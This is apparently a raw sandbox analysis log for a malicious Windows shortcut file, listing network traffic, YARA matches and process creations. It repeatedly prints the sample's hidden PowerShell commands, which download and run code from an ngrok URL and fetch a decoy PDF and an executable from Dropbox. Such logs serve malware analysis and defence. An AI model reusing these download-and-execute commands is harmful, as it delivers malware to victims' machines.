Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443

Source: unknown	HTTPS traffic detected: 3.6.122.107:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.65.15:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.6.122.107:443 -> 192.168.2.4:49803 version: TLS 1.2

Source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000000.2128011569.00000000005B5000.00000002.00000001.01000000.00000014.sdmp

Binary or memory string: DirectDrawCreateEx

memstr_d342ff12-b

Source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2318206814.0000000003BC0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_b7f162d0-9

Source: Yara match	File source: 30.3.33937b54-1258-4cce-9d38-c5bceb144cd0.exe.3bc0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.3.fontdrvhost.exe.5570000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.33937b54-1258-4cce-9d38-c5bceb144cd0.exe.3bc0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.33937b54-1258-4cce-9d38-c5bceb144cd0.exe.39a0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.3.fontdrvhost.exe.5350000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000003.2318206814.0000000003BC0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2322496710.0000000005350000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2318009244.00000000039A0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2323210584.0000000005570000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe PID: 8116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fontdrvhost.exe PID: 9664, type: MEMORYSTR

System Summary

Drops large PE files

Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe

File dump: EnuinaPerfecto.exe.27.dr 979567347

Jump to dropped file

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe

Jump to dropped file

Windows shortcut file (LNK) contains suspicious command line arguments

Source: KjECqzXLWp.lnk

LNK file: /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing)

Source: C:\Windows\System32\fontdrvhost.exe	Code function: 35_2_000001FF1BD51CF4 NtAcceptConnectPort,CloseHandle,	35_2_000001FF1BD51CF4
Source: C:\Windows\System32\fontdrvhost.exe	Code function: 35_2_000001FF1BD51AA4 NtAcceptConnectPort,NtAcceptConnectPort,	35_2_000001FF1BD51AA4
Source: C:\Windows\System32\fontdrvhost.exe	Code function: 35_2_000001FF1BD515C0 NtAcceptConnectPort,	35_2_000001FF1BD515C0
Source: C:\Windows\System32\fontdrvhost.exe	Code function: 35_2_000001FF1BD50AC8 NtAcceptConnectPort,NtAcceptConnectPort,	35_2_000001FF1BD50AC8

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Code function: 30_3_000F81D2	30_3_000F81D2
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Code function: 30_3_000EC231	30_3_000EC231
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Code function: 30_3_000EC400	30_3_000EC400
Source: C:\Windows\System32\fontdrvhost.exe	Code function: 35_2_000001FF1BD50C70	35_2_000001FF1BD50C70

Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe

Code function: String function: 000ECD90 appears 33 times

Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8116 -s 320

Source: classification engine

Classification label: mal100.troj.evad.winLNK@92/363@22/14

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess8256
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9108:120:WilError_03
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-d7a426c1-f91d-f93da-c5b2fa15fa71}

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_532va0bs.y3o.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\280339642.bat" "

Source: C:\Windows\SysWOW64\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: KjECqzXLWp.lnk

ReversingLabs: Detection: 18%

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2012,i,14265310462796449585,17629014062588500733,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6520 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6704 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7108 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7108 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\280339642.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/7h4lmqhsim6jg8ftlpzw9/runner.exe?rlkey=t1ai59v9g7ajzdg92ep3aqz67&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/metadata/e4a88f04990bcb4fecb3cd3c61ff6c7e'; }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk C:\Users\user\AppData\Local\Temp\eb3e365c-3b4e-4f5f-8dad-50533203423c.pdf
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-GB --service-sandbox-type=collections --mojo-platform-channel-handle=7920 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=2076,i,14980559990425657526,6209362246917279619,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --lang=en-GB --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=7236 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:6
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2064,i,5180988009760175564,13737899492242719940,262144 /prefetch:3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe "C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe"
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=2032,i,14501280776939765503,8359820969839019914,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Process created: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe "C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe"
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Process created: C:\Windows\SysWOW64\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8116 -s 320
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process created: C:\Windows\System32\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"
Source: C:\Windows\System32\fontdrvhost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 8256 -s 144
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7856 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\280339642.bat" "	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2012,i,14265310462796449585,17629014062588500733,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6520 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6704 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7108 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7108 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-GB --service-sandbox-type=collections --mojo-platform-channel-handle=7920 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --lang=en-GB --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=7236 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:6	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7856 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/7h4lmqhsim6jg8ftlpzw9/runner.exe?rlkey=t1ai59v9g7ajzdg92ep3aqz67&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/metadata/e4a88f04990bcb4fecb3cd3c61ff6c7e'; }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk C:\Users\user\AppData\Local\Temp\eb3e365c-3b4e-4f5f-8dad-50533203423c.pdf
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe "C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=2076,i,14980559990425657526,6209362246917279619,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
